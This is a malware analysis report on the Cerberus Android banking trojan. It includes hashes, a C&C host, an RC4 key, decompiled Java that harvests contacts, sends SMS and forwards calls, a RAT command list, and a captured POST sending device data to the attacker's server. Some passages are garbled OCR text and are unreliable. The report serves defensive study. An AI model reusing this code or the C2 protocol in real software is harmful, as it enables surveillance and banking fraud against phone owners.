Cerberus Analysis - Android Banking Trojan

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Cerberus is an Android malware that emerged in 2019 but was allegedly used for special operations until two years ago. It has been determined by the analysts that it was not built on a banking trojan and the Anubis malware whose source code had leaked, or many similar trojans, but was written completely from scratch.

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Mail logs												
Inject list	Oran Larray				Oradi					-		
Settings	Send sms Send sms from selected bots				Send Send U	USSD SSD from se				Forwar	ard call d call on selected bots	
Bots: 4 Online: 0 Offline: 4 Dead: 0 Banks: 4 Cards: 2 Mails: 4												
Cerberus Android Bot 1.5.0.9												

Static Analysis

MD5: 872ebbaodfe0a28da3e91b0ee4d6df32 SHA1: 6a87c50179b08740bcab9da69a869d7c881f40c4 SHA-256: 9832b1ade1907849fd7091e85f2c24bd8a4488ecd96f0638fc979d8858b25196 C&C URL: http://botduke1.ug

The AndroidManifest.xml file shows that the application uses many permissions that can be used maliciously. In addition, the class name that is not in the code shows that the application loads some classes at run-time, and the classes that are not in the manifest file are put in order to complicate the code analysis.



When we hook the application, we see that the malware creates the Ab.json file and DexClassLoader is detected in this file. In this way, the actual dex file (Ab.json) is loaded at run-time.



After the application runs on the device, the files and directories under its own directory are listed as follows.

vbox86p:/data/data/xqrkrtxlmsyjzrrzgbbzyjaky.wzyuyoryrfflsijm.lndmbzkmninuonnzfapnrn#mlsrmlentation.java:992)
total 56 12 => and rold.app.loadedApk.makeApplication(LoadedApk,java:/96)
drwxrwxx 2 u0_a76 u0_a76 4096 2021-06-04 11:27 app_DynamicLib
drwxrwxx 2 u0_a76 u0_a76 4096 2021-06-04 11:27 app_Dynamic0ptDex
drwxrwxx 2 u0_a76 u0_a76 4096 2021-06-04 11:27 app_apk
drwxrwxx 2 u0_a76 u0_a76 4096 2021-06-04 11:27 app_textures and spatchlessage(Handlers Java 102)
drwx 4 u0_a76 u0_a76 4096 2021-06-04 11:27 app_webviewer.loop(Looper.java:154)
drwxrwxx 4 u0_a76 u0_a76 4096 2021-06-04 11:27 cache app.ActivityThread.main(ActivityThread.java:6077)
drwxrwxx 2 u0_a76 u0_a76 4096 2021-06-04 11:28 shared_prefs
vbox86p:/data/data/xqrkrtxlmsyjzrrzgbbzyjaky.wzyuyoryrfflsijm.lndmbzkmninuonnzfapnr # ls –l shared_prefs/
total 16
-rw-rw 1 u0_a76 u0_a76 127 2021-06-04 11:27 WebViewChromiumPrefs.xml
-rw-rw-r 1 u0_a76 u0_a76 2310 2021-06-04 11:28 ring0.xmlclosed
vbox86p:/data/data/xqrkrtxlmsyjzrrzgbbzyjaky.wzyuyoryrfflsijm.lndmbzkmninuonnzfapnr#ils+liap=bzyjaky.wzyuyoryri
app_DynamicLib/ app_DynamicOptDex/ 02/app_apk/DynamicOptDex/Abapp_textures/ app_webview/
vbox86p:/data/data/xqrkrtxlmsyjzrrzgbbzyjaky.wzyuyoryrfflsijm.lndmbzkmninuonnzfapnr # ls –l app_Dy
app_DynamicLib/ app_DynamicOptDex/
vbox86p:/data/data/xqrkrtxlmsyjzrrzgbbzyjaky.wzyuyoryrfflsijm.lndmbzkmninuonnzfapnr # ls –l app_Dynamic0ptDex/
total 1768
-rw-rr 1 u0_a76 u0_a76 618920 2021-06-04 11:27 Ab.dex
-rw 1 u0 a76 u0 a76 279868 2021-06-04 11:27 Ab.json

When file.delete (Java level) and unlink syscall (System level) functions are hooked, it is seen that ringo.xml.bak, ringo.xml, Ab.json and Ab.dex files are tried to be deleted from the system.



After pulling the Ab.json file from the device, we can see the

qhsewqxnjwezdfj.mysoclyistirmcm.wkzf class in AndroidManifest.xml. You can use <u>eybisi's</u> jadx fork to hide enum classes and for extra features.

The RC4 algorithm is frequently used in malware. When we search for the "^" character in both the apk file and the Ab.json loaded at run-time, we can find the f class that encrypts with RC4.



The use of the decryption function used in the application is as follows.

```
private static String b(String str, String str2) {
    try {
        return new String(new f(str2.getBytes()).a(h(new String(Base64.decode(str, 0), "UTF-8"))));
    } catch (Exception unused) {
        return "";
    }
}
```

Decryption

This method converts hex string to byte. The output is seen in the figure below:

```
public static byte[] h(String str) {
    int length = str.length();
    byte[] bArr = new byte[(length / 2)];
    for (int r2 = 0; r2 < length; r2 += 2) {
        bArr[r2 / 2] = (byte) ((Character.digit(str.charAt(r2), 16) << 4) + Character.digit(str.charAt(r2 + 1), 16));
    }
    return bArr;
}</pre>
```

The output of the previous function (h) is passed to the RC4 cipher. It also decrypts using a hard-coded key. The e string in the c class is used as the RC4 decryption key.



When the strings in the c class are decrypted with Base64+RC4, the strings used by the malware are accessed. You can use this script for decryption <u>https://gist.github.com/nurpabuccu/ac3fe35720d13890c0cc5317acf12a82</u>

The decrypted strings contain the application name, permissions, Telegram channel, parameters sent in the network traffic, the RC4 key used to analyze the network traffic, and the nick of the malware author "ringo", which is one of the important data about the malware.

Some these strings are also available in the ringO.xml file under the shared_prefs directory of the application on the device.

<pre>sti=002&q=connecting&zip=q3&ws=</pre>	
<pre>sti=003&q=saved_all_sms&zip=q4&ws=</pre>	
<pre>sti=004&q=saved_contacts&zip=q5&ws=</pre>	
<pre>sti=005&q=saved_applications&zip=q6&ws=</pre>	
q=rat_connect&ws=	
q=rat_cmd&ws=	
ring0.apk	
Enable	
Open More downloaded services >	
Click on me to activate	
ring0	
Vodafone_5G_no_push_15.06	
http://botduke1.ug	
Vodafone 5G	
https://t.me/botduke1	
Jiu2a3jfon4c15rKv0n	
key	
android.provider.Telephony.SMS_RECEIVED	
android.permission.READ_PHONE_STATE	
android.permission.WRITE_EXTERNAL_STORAGE	
android.permission.SEND_SMS	
android.permission.RECORD_AUDIO	
android.permission.READ_PHONE_STATE	
android.permission.READ_CONTACTS	
qwertyulopasdfghjklzxcvbnm1234567890	
sti=001&q=d_attacker_two&zip=q2&ws=	
sti=002&q=d_attacker&zip=q3&ws=	
st1=003&q=1s_attacker&z1p=q4&ws=	
sti=004&q=into_device&zip=q5&ws=	
sti=005&q=new_device&zip=qb&ws=	
sti=0000Qq=saved_data_dtiacKero21p=q/Qws=	
sti=00%q=saved_uata_device&zip=q8&ws=	
sti-000&q-pause_attacker&21p=q9&ws=	c –
sti-0090q-saveu_accessibility_eventsozip=q10w	5-



The malware can get all the contacts from the Android phone book with the CONTENT_URI field.

<string name="key">Jiu2a3jfon4c15rKv0n</string>

```
public final void m(Context context) {
    try {
        Cursor query = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null);
        String str = "";
        while (query.moveToNext()) {
            String string = query.getString(query.getColumnIndex("data1"));
            String string2 = query.getString(query.getColumnIndex("display_name"));
            if (!string.contains("*") && !string.contains("#") && string.length() > 6 && !str.contains(string)) {
               str = str + string + " / " + string2 + "[0#1#]";
            }
            d(context.getString(2131034136)), str);
        } catch (Exception e2) {
            d(context.getString(2131034136)), "{\"error\":\"No permissions to get contacts\"}");
        }
    }
}
```

After getting the phone book, the malware can send sms messages.

```
public final void a(Context context, String str, String str2) {
    try {
        SmsManager smsManager = SmsManager.getDefault();
        ArrayList<String> divideMessage = smsManager.divideMessage(str2);
        PendingIntent broadcast = PendingIntent.getBroadcast(context, 0, new Intent("SMS_SENT"), 0);
        PendingIntent broadcast2 = PendingIntent.getBroadcast(context, 0, new Intent("SMS_DELIVERED"), 0);
        ArrayList arrayList = new ArrayList();
        ArrayList arrayList2 = new ArrayList();
        for (int r1 = 0; r1 < divideMessage.size(); r1++) {</pre>
            arrayList2.add(broadcast2);
            arrayList.add(broadcast);
        3
        smsManager.sendMultipartTextMessage(str, null, divideMessage, arrayList, arrayList2);
        e(context, a(context.getString(2131034192)), "Output SMS:" + str + " text:" + str2 + "[143523#]");
        f(context, h(context, a(context.getString(2131034170))));
    } catch (Exception e2) {
    }
}
```

Malware can enable call forwarding to the specified number.

```
e eVar9 = this.a;
String string3 = jSONObject6.getString(a("ODk="));
try {
    Intent intent2 = new Intent("android.intent.action.CALL");
    intent2.addFlags(268435456);
    intent2.setData(Uri.fromParts("tel", "*21*" + string3 + "#", "#"));
    context.startActivity(intent2);
    eVar9.e(context, eVar9.a(context.getString(2131034192)), "ForwardCALL: " + string3 + "[143523#]");
    return;
} catch (Exception e9) {
    eVar9.e(context, eVar9.a(context.getString(2131034192)), "ERROR callForward" + string3 + "[143523#]");
    return;
```

The malware is also configured to run on Xiaomi systems. The code block for checking MIUI.UIversion is as follows:

```
public static int a() {
    try {
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("getprop ro.miui.ui.version.name").getInputStream()), 1024);
        String readLine = bufferedReader.readLine();
        bufferedReader.close();
        return Integer.parseInt(readLine.replace("V", ""));
    } catch (Exception unused) {
        return 0;
    }
}
```

Malware changes its behavior depending on the system language. The system looks at its default language and displays notifications based on that data (from the "string L" seen in class c below).

```
public final String d() {
    try {
        JSONObject jSONObject = new JSONObject(this.a.K);
        String lowerCase = Locale.getDefault().getLanguage().toLowerCase();
        if (lowerCase.equals("tr")) {
            return "Lütfen " + this.a.i + " Etkinleştirin";
        }
        String string = jSONObject.getString(lowerCase);
        return string + " " + this.a.i;
        } catch (Exception unused) {
            return this.a.H + " " + this.a.i;
        }
    }
}
public String L = "['en':'Open More downloadd services > ','de':'Offen Sis Weitere heruntergeladene Dienste > ','of':'Open More ofgelaaide dienste > ','
            ''en':'Unt Bas T #BMBs > ','cs':'Otevrit Yie statemed subject > ','n':''('unt this services telechorges > ','en':''weit a service services ', 'n':''weit a service services > ','en':''weit a service de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de de set more the services > ','en':'Open More downloaded services > ','en':'Weit a service de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a service of a set de descarges > ','en':'Weit a set de descarges > ','en':'Weit a set de descarges > ','en':'Weit a set de de
```

Android's battery optimization feature suspends the app to conserve battery, but since it's a malicious RAT, it constantly listens for commands from the attacker. Upon installation, the malware uses the REQUEST_IGNORE_BATTERY_OPTIMIZATIONS permission to prompt the user to ignore battery optimization for this app. Ignoring Battery Optimizations prevents the malware from being shut down by the battery optimization routine inside the device even when idle.

```
new e();
if (!e.r(this)) {
    Intent intent = new Intent("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS", Uri.parse("package:" + getPackageName()));
    intent.addFlags(268435456);
```

Also this method used for blocking attempt to uninstall the app from the device.



In above, we can see the message for blocking removal of TeamViewer app from the device. Cerberus use TeamViewe for remote access to victims device.

<pre>try { if (Build.VERSION.SDK_INT >= 18) { if (this.h.contains(a("0004YWE3Y2EZMGEXM1IWYWI10Dh1NmVhMTU3ZT002mz1NmM4NmVkNTFmYjg5ZDM20DF1M2IZYJV1ZTE0ZmNhZjNmZGM2NWY3NGZ1(AccessibilityModeInfo a5 = a.a(accessibilityEvent, a("0004YWE3Y2EZMGEXM2IWYWI10Dh1NmVhMTU3ZT002mz1NmM4NmVkNTFmYjg5ZDM20DF1M2IZYJV1ZTE0ZmNhZjNmZGM2NWY3NGZ1(AccessibilityModeInfo a6 = a.a(accessibilityEvent, a("0004YWE3Y2EZMGEXM2IWYWI10Dh1NmVhMTU3ZT002mz1NmM4NmVkNTFmYjg5ZDM20DF1M2IZYJV1ZTE0ZmNhZjNmZGM2NWY3NGZ1(AccessibilityModeInfo a6 = a.a(accessibilityEvent, a("0004YWE3Y2EZMGEXM2IWY110Dh1NmVhMTU3ZT002mz1NmM4NmVkNTFmYjg5ZDM20DF1M2IZYJV1ZTE0ZmNhZjNmZGM2NWY3NGZ1(if (a4 != null) { if (a4 != null) {</pre>	<mark>₩VkMmQ;</mark> ₩VkMmQ; ₩VkMmQ;
<pre>a7 -> com.teamviewer.host.market:id/action_bar_root</pre>	jNhOGU: mNhYmVI

There are also some additional features in the malware. Using these commands the device can be turned into a RAT (Remote Access Trojan).

- grabbing_pass_gmail
- grabbing_lockpattern
- rat_connect
- change_url_connect
- request_permission
- change_url_recover
- run_admin_device
- url
- ussd
- sms_mailing_phonebook
- get_data_logs
- grabbing_google_authenticator2
- remove_app
- remove_bot
- notification
- send_sms
- call_forward
- run_app
- patch_update



Dynamic Analysis

The application is hidden under the name "Vodafone 5G". When the application is launched, it asks the user to enable Accessibility Service.

After the user grants the requested permission, the malware abuses it by giving it additional permissions, such as permissions to send messages, perform some action commands from C&C, and make calls without requiring any user interaction. It also disables Google Play Protect to prevent it from being discovered and deleted in the future. The malware appropriately grants it additional privileges and secures its persistence on the device. If the user tries to uninstall the malicious application or tries to disable the accessibility of the malicious application, it can prevent the user from uninstalling the software.

- TYPE_VIEW_CLICKED (eventType=1)
- TYPE_VIEW_FOCUSED (eventType=8)
- TYPE_VIEW_TEXT_CHANGED (eventType=16)
- TYPE_WINDOW_STATE_CHANGED (eventType=32)

For constant values of events:

https://www.apiref.com/android/android/view/accessibility/AccessibilityEvent.html



Enable Vodafone 5G CAccessibility Service DOWNLOADED SERVICES Switch Access OFF TalkBack OFF Vodafone 5G OFF



After the user allows the Accessibility Service, the application icon is deleted from the menu. It then sends a request to the C&C server (http://botduke1.ug).

#	Host	Method	UI	RL .	Params	Edited	Status	Lenath	MIME type	Extension	Title	Comment	TLS	1	Р
15 http	p://botduke1.ug	POST												unknown h	ost
14 http	p://botduke1.ug	POST												unknown h	ost
13 http	p://botduke1.ug	POST												unknown h	ost
12 http	p://botduke1.ug	POST												unknown h	ost
11 htt:	p://botduke1.ug	POST												unknown h	ost
10 http	p://botduke1.ug	POST												unknown h	ost
9 http	p://botduke1.ug	POST												unknown h	ost
8 http	p://connectivitycheck.gstatic		/generate 204				204							172.217.1	69.163
						_	_					_			
Request	Request														
Raw Par	Raw Params Headers Hex														
1 POST / HTTP/1.1															
2 Content-Length: 506															
3 Content-Type: application/x-www-form-urlencoded															
4 User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; Custom Build/NBD92Y)															
5 Host: Dotaukel.ug															
- Connection: Close															
8															
9 sti=0	9 sti=007&g=saved data device&zip=g&&ws= MDA2MjhjYWU2ZWY2NzE2YzExM2V1NDE2ZGZhMDk3YmQwYTZhOWI1Y11m2DRiMDNhOTc3YTQzMzUz														
10 ODM20	10 ODM2OWU1YTNIZJEYYJ1hZWJJNGY1YJQ3MTJmNzZ1ZmU2NTExNDczZmM1ZGMyZWNiMzh1MmZkNTYW														
11 ZJU4NzZIMJU3N2JKN2Q0MT9xMTRmOWQ4NzZJN2JINGE1YzcwZNUZOTBIM2I3NJA3ZmU3YmJMYTI3															
12 NzJjO	GViMTkzODJkYjc2OWVkYTd	k Z D R j Z T N k	MWFhZjQ5MzA1MzQ	5MzZjMmFlNTcwNm	TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT	jIx									
13 NTZJZ	DA4MWQ5NJEWZJRKMGZhZGQ	INDA40WI3	MZISNMIUMWEZNZV	1MGZ1OWUWNGQ4NG	E2Mj12Mn	021 122									
15 MiO=	JVIII JIIII JAINTOXZDOYIZB.	IM2M02M14	2 JKYM2EYODF JNGC	SOGISTIT JNGEYOG	1251 1200	er n									
16															

Since C&C is not active during the analysis process, we cannot see all functions. When we look at the Cerberus analysis reports/blogs, we can see that the parameters listed below are used:

- d_attacker_two
- d_attacker
- is_attacker
- info_device
- new_device
- saved_data_attacker
- saved_data_device
- pause_attacker
- saved_accessibility_events
- upgrade_patch
- connecting
- saved_all_sms
- saved_contacts
- saved_applications
- rat_connect
- rat_cmd

In the first request, the malware is trying to collect some data about the device. Requests sent by the device can be found as follows. info_device request contains device data such as Device Battery Level, Device Language. This request keeps the C&C server updated with new information about the device.



In the data in the resolved HTTP request, many personal and sensitive data on the device are sent to http://botduke1.ug, where the application communicates, by POST method.

```
{"DM":"0","AD":"null","BL":"100","TW":"40","SA":"0","SP":"2","SS":"1","LE":"en","SY":"1","SM":"0",
"ID":"otz7-1xmb-oyat-z034","IS":"","NR":"","GA":"","PS":"0","PC":"0","PP":"0","PO":"0"}
```

Features

Cerberus has the same capabilities as most other Android banking trojans, such as overlay attacks, SMS checking. The Trojan can also take advantage of keystrokes to expand its attack coverage.

- Overlaying: Dynamic (Local injects obtained from C2)
- Keylogging
- SMS listing
- SMS forwarding
- Device info collection
- Contact list collection
- Application listing
- Location collection
- SMS Sending
- Calls: USSD request making
- Calls: Call forwarding
- Remote actions: App installing
- Remote actions: App starting
- Remote actions: App removal
- Remote actions: Showing arbitrary web pages
- Remote actions: Screen-locking
- Notifications: Push notifications
- Hiding the App icon
- Preventing removal
- Emulation-detection
- Stealing 2FA tokens

On August 2020, Cerberus group officially announced the project is indeed dead because of Google Play Protects new functionality. Forum admin who bought Cerberus, shared the source code publicly.

References

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